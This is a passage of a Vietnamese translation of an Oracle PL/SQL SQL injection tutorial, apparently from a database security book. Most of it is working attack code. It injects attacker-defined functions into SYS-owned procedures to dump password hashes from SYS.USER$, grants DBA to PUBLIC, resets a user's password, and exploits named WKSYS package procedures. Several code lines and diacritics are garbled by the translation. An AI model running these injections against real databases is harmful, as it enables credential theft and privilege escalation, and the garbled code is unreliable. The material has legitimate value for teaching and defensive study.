nên làm như vậy, vì vậy tất cả chúng ta đều ở trên cùng một trang.) Tuy nhiên, chúng tôi muốn trả lại dữ
liệu từ hai hoặc nhiều hàng hơn nhưng sử dụng UNION SELECT, chúng ta không thể làm điều đó cùng
nhau. Để làm điều này, chúng ta sẽ tạo một hàm của riêng chúng ta để thực hiện cơng việc và đưa nó vào
thủ tục. Giả sử chúng ta muốn lấy USER # (number), NAME (a varchar2) và PASS (a varchar2) từ
SYS.USER $, chúng ta có thể tạo hàm sau:
CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER
AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
U VARCHAR2(200);
P VARCHAR2(200);
N NUMBER;
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR ‘SELECT USER#,NAME,PASSWORD FROM SYS.USER$’;
LOOP
FETCH CV INTO N,U,P;
DBMS_OUTPUT.PUT_LINE(‘USER#: ‘ || N || ‘ NAME ‘ || U || ‘ PWD ‘ || P);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
RETURN ‘FOO’;
END;
Sau khi được tạo, chúng ta có thể đưa nó vào LIST_LIBRARIES:
EXEC SYS.LIST_LIBRARIES ('FOO’’ || SCOTT.GET_USERS--);
cung cấp cho chúng tôi kết quả đầu ra
USER#: 0 NAME SYS PWD 2696A092833AFD9A
USER#: 1 NAME PUBLIC PWD
USER#: 2 NAME CONNECT PWD
USER#: 3 NAME RESOURCE PWD
USER#: 4 NAME DBA PWD
USER#: 5 NAME SYSTEM PWD EED9B65CCECDB2EA
..
..
Sử dụng phương pháp này chèn một hàm cũng hữu ích trong những thủ tục mà kết quả của một
truy vấn không được xuất ra. Lưu ý rằng khi chúng tôi tạo hàm, chúng tôi đã sử dụng từ khóa AUTHID
CURRENT_USER. Lý do cho điều này là bởi vì nếu chúng ta khơng làm như vậy, thì hàm, như nó đã
được chúng ta định nghĩa, sẽ chạy với các đặc quyền của chúng ta - về cơ bản sẽ mất tất cả các priv DBA
mạnh mẽ ngon ngọt đó. Bằng cách đặt từ khóa AUTHID CURREN_USER, khi LIST_LIBRARIES giải
thích hàm của chúng ta, hàm của chúng ta sẽ giả định hoặc kế thừa các đặc quyền của SYS.
Hãy xem xét chức năng sau do SYS sở hữu và định nghĩa. Đây không phải là một chức năng thực
sự tồn tại trong RDBMS nhưng giả sử rằng SYS đã tạo ra nó.
CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER
IS CNT NUMBER;
STMT VARCHAR2(200);
BEGIN
STMT:=’SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER=’’’ || P_OWNER || ‘’’’;
EXECUTE IMMEDIATE STMT INTO CNT;
RETURN CNT;
END;
/
Hàm này trả về số hàng mà người dùng sở hữu trong ALL_OBJECTS. Ví dụ: chúng ta có thể
chạy
SELECT SYS.SELECT_COUNT ('SYS') FROM DUAL;
để có số lượng đối tượng được liệt kê trong ALL_OBJECT và thuộc sở hữu của người dùng SYS.
Hàm này khi được thực thi sẽ chạy với các đặc quyền của SYS. Mặc dù nó dễ bị tấn cơng bởi SQL
injection, nhưng một số vấn đề cần được giải quyết trước khi có thể thực hiện được bất cứ điều gì hữu ích
với nó. Đầu tiên, hàm trả về một số, vì vậy điều này có nghĩa là chúng ta khơng thể thực hiện phép chọn
liên hợp trên dữ liệu chuỗi:
SELECT SYS.SELECT_COUNT(‘SYS’’ UNION SELECT PASSWORD FROM SYS.USER$ WHERE
NAME=’’SYS’’--’) FROM DUAL;
Điều này trả về
ORA-01790: biểu thức phải có cùng kiểu dữ liệu với biểu thức tương ứng.
Chúng tơi thậm chí khơng thể thực hiện lựa chọn hợp nhất trên dữ liệu số. Đang chạy
SELECT SYS.SELECT COUNT ('SYS UNION SELECT USER # FROM SYSs.USER $
WHERE NAME =' 'SYS' '-') FROM DUAL;
trả về
ORA-01422: tìm nạp chính xác trả về nhiều hơn số hàng được yêu cầu.
Vấn đề thứ hai cần được khắc phục là không có gì được phản hồi trở lại thiết bị đầu cuối, vì vậy
ngay cả khi chúng ta có thể thực hiện chọn hoặc chọn hợp nhất hợp lý, chúng ta sẽ lấy lại dữ liệu như thế
nào? Đang chạy một lựa chọn phụ, ví dụ
SELECT SYS.SELECT_COUNT(‘SYS’’ AND OBJECT_NAME = (SELECT PASSWORD FROM SYS.USER$
WHERE NAME=’’SYS’’)--’) FROM DUAL
chỉ trả về 0.
Để giải quyết những vấn đề này, chúng tơi có thể sử dụng lại hàm của chúng ta và sau đó đưa
hàm của chúng ta vào hàm SYS dễ bị tấn công. Hơn nữa, chúng ta không chỉ giới hạn trong việc chạy một
truy vấn duy nhất. Chúng ta có thể chạy một số SELECTS riêng biệt:
CONNECT SCOTT/TIGER@ORCL
SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:=’SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ‘’SYS’’’;
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE(‘SYS PASSWORD HASH IS ‘ || BUFF);
OPEN CV FOR ‘SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=’’DBA’’’;
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ‘ IS A DBA.’);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
RETURN ‘FOO’;
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;
Khi chạy với các đặc quyền thích hợp, hàm này sẽ tạo ra mã băm mật khẩu cho người dùng SYS
và kết xuất danh sách người dùng đã được chỉ định vai trò DBA. Một lần nữa, lưu ý rằng hàm này đã
được tạo bằng từ khóa AUTHID CURRENT_USER. Điều này là do nếu nó khơng được xác định khi
được gọi, nó sẽ chạy với các đặc quyền của SCOTT và SCOTT khơng có quyền truy cập vào SYS.USER
$ hoặc bảng DBA_ROLE_PRIVS. Bởi vì chúng tơi sẽ đưa chức năng này vào hàm
SYS.SELECT_COUNT, hàm này chạy với các đặc quyền của người dùng SYS, do việc sử dụng từ khóa
AUTHID CURRENT_USER, hàm GET_IT của chúng tơi sẽ đảm nhận các đặc quyền của SYS. Với hàm
đã tạo, giờ đây nó có thể được sử dụng trong phần chèn:
SELECT SYS.SELECT_COUNT ('FOO' || SCOTT.GET_IT () - ') FROM DUAL;
Truy vấn được thực thi tốt nhưng kết quả của hàm của chúng ta ở đâu? Chúng ở đó - bạn vẫn
chưa thể nhìn thấy chúng - mặc dù chúng tơi đã đặt máy chủ lên. Đây là kết quả của sự cố bộ đệm đầu ra.
Khi DBMS_ OUTPUT.PUT_LINE được gọi từ với một câu lệnh select, đầu ra sẽ được lưu vào bộ đệm.
Để ra đầu ra, chúng ta cần thực thi
EXEC DEMS_OUTPUT. PUT LINE ('OUTPUT');
và chúng tôi nhận được
SYS PASSWORD HASH IS 2696A092833AFD9A
SYS IS A DBA.
WKSYS IS A DBA.
SYSMAN IS A DBA.
SYSTEM IS A DBA.
OUTPUT
PL/SQL procedure successfully completed
Để tránh sự cố đệm này, chúng ta có thể thực hiện như sau:
DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT(‘SYS’’ || SCOTT.GET_IT()--’);
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/
Doing More Than Just SELECT
Với việc sử dụng hàm do kẻ tấn cơng xác định của riêng chúng tơi, bạn có thể thấy rằng ngay cả
những chương trình PL / SQL thoạt đầu dường như không thể lạm dụng được mặc dù chúng dễ bị tấn
cơng bởi SQL injection cũng có thể bị lạm dụng để thực hiện các hành động bất chính.
Dường như có một số hạn chế đối với việc tiêm và chạy các chức năng do kẻ tấn cơng cung cấp.
Có vẻ như chúng ta chỉ có thể thực hiện các truy vấn CHỌN. Nếu chúng tôi cố gắng thực thi các câu lệnh
DDL hoặc DML hoặc bất kỳ điều gì yêu cầu COMMIT hoặc ROLLBACK, thì việc cố gắng làm như vậy
sẽ tạo ra lỗi
ORA-14552: không thể thực hiện DDL, cam kết hoặc khôi phục bên trong một truy vấn hoặc
DML.
Ví dụ: nếu chúng tơi tạo một hàm như
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER
IS
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’;
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;
và cố gắng tiêm nó, chúng tơi nhận được lỗi này. Trong các phiên bản Oracle gần đây hơn, vấn
đề này có thể được giải quyết bằng cách sử dụng pragma AUTONOMOUS_TRANSACTION. Việc sử
dụng AUTONOMOUS_TRANSACTION trong một thủ tục hoặc hàm cho Oracle biết rằng nó sẽ thực thi
tổng thể mà khơng có vấn đề gì nên khơng cần giao dịch hoặc khơi phục hoặc cam kết. Nó đã được giới
thiệu trong Oracle 8i. Bằng cách thêm điều này vào chức năng của chúng tôi:
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’;
END;
/
và sau đó tiêm nó khơng có vấn đề gì. DBA được cấp cho PUBLIC. Cái này có thể được sử dụng để thực
hiện INSERTS, UPDATES, v.v. Nếu phiên bản của Oracle được đề cập sớm hơn 8i, tuy nhiên, bạn sẽ có
thể thực hiện SELECT chỉ khi bạn đang đưa vào một quy trình thực hiện một lựa chọn. Vì Oracle 8 và 7
vẫn cịn khá phổ biến, chúng ta hãy xem xét việc tiêm mà không cần việc sử dụn
AUTONOMOUS_TRANSACTION
Đưa vào các câu lệnh DELETE, INSERT và UPDATE
Việc đưa vào các câu lệnh DELETE, INSERT và UPDATE cho phép kẻ tấn công linh hoạt hơn nhiều so với
việc đưa vào các câu lệnh SELECT về những hành động mà chúng có thể thực hiện. Hãy nhớ rằng khơng
có câu lệnh DDL hoặc DML nào có thể được thực hiện từ bên trong câu lệnh SELECT mà không sử dụng
AUTONOMOUS_TRANSACTION, điều này cũng không đúng với các câu lệnh DELETE, INSERT và UPDATE.
Điều này chỉ đúng một nửa. Khơng có câu lệnh DDL nào có thể được thực thi nhưng các câu lệnh DML thì
có thể. Về cơ bản, điều này có nghĩa là khi đưa vào câu lệnh DELETE, INSERT hoặc UPDATE, kẻ tấn cơng
có thể sử dụng bất kỳ truy vấn DELETE, INSERT hoặc UPDATE nào để thao tác với bất kỳ bảng nào mà
trình định nghĩa PL/SQL có quyền truy cập và không chỉ bảng mà truy vấn ban đầu. đang thao túng. Ví
dụ, giả sử một chương trình PL/SQL INSERT vào bảng FOO và nó dễ bị SQL injection. Kẻ tấn cơng có thể
đưa vào chương trình PL/SQL này một hàm DELETE khỏi bảng BAR.
Đưa vào các câu lệnh INSERT
Trước khi làm việc với các câu lệnh INSERT, hãy tạo một bảng:
CREATE TABLE EMPLOYEES (EMP_NAME VARCHAR(50));
Hãy xem xét quy trình PL/SQL sau:
CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
STMT :=’INSERT INTO EMPLOYEES (EMP_NAME) VALUES (‘’’ || P_NAME || ‘’’)’;
EXECUTE IMMEDIATE STMT;
END;
/
Thủ tục này lấy đối số là tên của một nhân viên mới. Điều này sau đó được đặt vào bộ đệm STMT, sau đó
được thực thi với EXECUTE IMMEDIATE. Tất cả đều khá đơn giản - và tất nhiên, rất dễ bị tấn công bởi SQL
injection. Chúng ta có thể sử dụng một trong các hàm mà chúng ta đã tạo để chọn từ bảng:
EXEC NEW_EMP(‘FOO’’ || SCOTT.GET_IT)--’);
Mặc dù điều này là tốt và tốt nhưng nó không thực sự chứng minh mức độ linh hoạt cao của việc đưa
SQL vào các câu lệnh INSERT. Chúng ta có thể tạo hàm sau để đặt lại mật khẩu của người dùng
ANONYMOUS trong SYS.USER$, ví dụ:
CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS
MYSTMT VARCHAR2(200);
BEGIN
MYSTMT:=’UPDATE SYS.USER$ SET PASSWORD = ‘’FE0E8CE7C92504E9’’ WHERE
NAME=’’ANONYMOUS’’’;
EXECUTE IMMEDIATE MYSTMT;
RETURN ‘FOO’;
END;
/
Sau khi thực hiện với
EXEC SYS.NEW_EMP(‘P’’ || SCOTT.RSTPWD)--’);
mật khẩu băm cho người dùng ANONYMOUS hiện là FE0E8CE7C92504E9, mật khẩu này sẽ giải mã thành
ANONYMOUS. Như bạn có thể thấy, bằng cách đưa vào một truy vấn INSERT trên bảng EMPLOYEES,
chúng ta đã quản lý để UPDATE một bảng khác - SYS.USER$. Ta cũng có thể đã chèn hoặc xóa và điều này
đúng với tất cả các truy vấn DML như vậy. Khả năng thực hiện cấp hoặc thay đổi đối tượng là lĩnh vực
đưa vào các khối PL/SQL ẩn danh được thực thi từ bên trong PL/SQL được lưu trữ. Tuy nhiên, trước khi
xem xét vấn đề này, hãy xem xét một số ví dụ thực tế về việc đưa vào các truy vấn DML.
Ví dụ thực tế
Hàm STORE_ACL của gói WK_ACL thuộc sở hữu của WKSYS không phù hợp với việc đưa vào SQL. Tham
số đầu tiên của nó là tên của một SCHEMA, sau đó được sử dụng trong một câu lệnh INSERT tương tự
như
INSERT INTO SCHEMA.WK$ACL ...
Điều này cho phép kẻ tấn công chèn vào bất kỳ bảng nào mà WKSYS có thể chèn vào và vì WKSYS là một
DBA, điều này có thể cho phép kẻ tấn công nâng cấp các đặc quyền cơ sở dữ liệu. Để chứng minh lỗ
hổng, hãy xem xét những điều sau:
CREATE TABLE WKVULN (STR1 VARCHAR2(200),A RAW(16), B CHAR(1), C
NUMBER(38));
GRANT INSERT ON WKVULN TO PUBLIC;
DECLARE
X RAW(16);
C CLOB;
BEGIN
X:=WKSYS.WK_ACL.STORE_ACL(‘SCOTT.WKVULN (STR1,A,B,C) VALUES ((SELECT
PASSWORD FROM SYS.USER$ WHERE NAME=’’SYS’’),:1,:2,:3)-’,1,c,1,’path’,1);
END;
/
SELECT STR1 FROM SCOTT.WKVULN;
Đầu tiên SCOTT tạo một bảng có tên WKVULN. Mật khẩu băm cho người dùng SYS sẽ được chọn và chèn
vào bảng này. Vì chèn thực tế sử dụng các biến ràng buộc nên chúng ta cần tính đến điều này - các biến
liên kết này là: 1,: 2,: 3 và được chèn vào các cột giả của bảng WKVULN A, B và C.
Một gói WKSYS khác, lần này là WK_ADM, có một thủ tục gọi là COMPLETE_ACL_SNAPSHOT. Thủ tục này
dễ bị chèn SQL và tham số thứ hai của thủ tục này được sử dụng trong một câu lệnh UPDATE. Chúng ta
có thể sử dụng lại bảng WKVULN để lấy băm mật khẩu cho người dùng SYS.
INSERT INTO WKVULN (STR1) VALUES (‘VULN’);
EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,’SCOTT.WKVULN SET STR1 =
(SELECT
PASSWORD FROM SYS.USER$ WHERE NAME = ‘’SYS’’) WHERE STR1=’’VULN’’--’);
Ở đây chúng ta chèn vào cột STR1 của bảng WKVULN giá trị VULN. Đây là hàng mà chúng ta sẽ cập nhật
với injection.
Tất nhiên, có thể một trong hai trường hợp này đã chèn một hàm tùy ý để thay thế:
INSERT INTO WKVULN (STR1) VALUES (‘VULNC’);
EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,’SCOTT.WKVULN SET STR1 =
(SCOTT.GET_IT) WHERE STR1=’’VULNC’’--’);
Đưa vào các khối PL/SQL ẩn danh
Mặc dù theo định nghĩa, một khối PL/SQL ẩn danh không được liên kết với bất kỳ thủ tục hoặc chức
năng nào, các chương trình PL/SQL được lưu trữ có thể thực thi PL/SQL ẩn danh từ bên trong mã của
chúng. Ví dụ, hãy xem xét những điều sau:
CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
STMT:= ‘BEGIN ‘ ||
‘DBMS_OUTPUT.PUT_LINE(‘’’ || P_BUF || ‘’’);’ ||
‘END;’;
EXECUTE IMMEDIATE STMT;
END;
Executing this procedure as follows
EXEC ANON_BLOCK(‘FOOBAR’);
returns
FOOBAR
PL/SQL procedure successfully completed.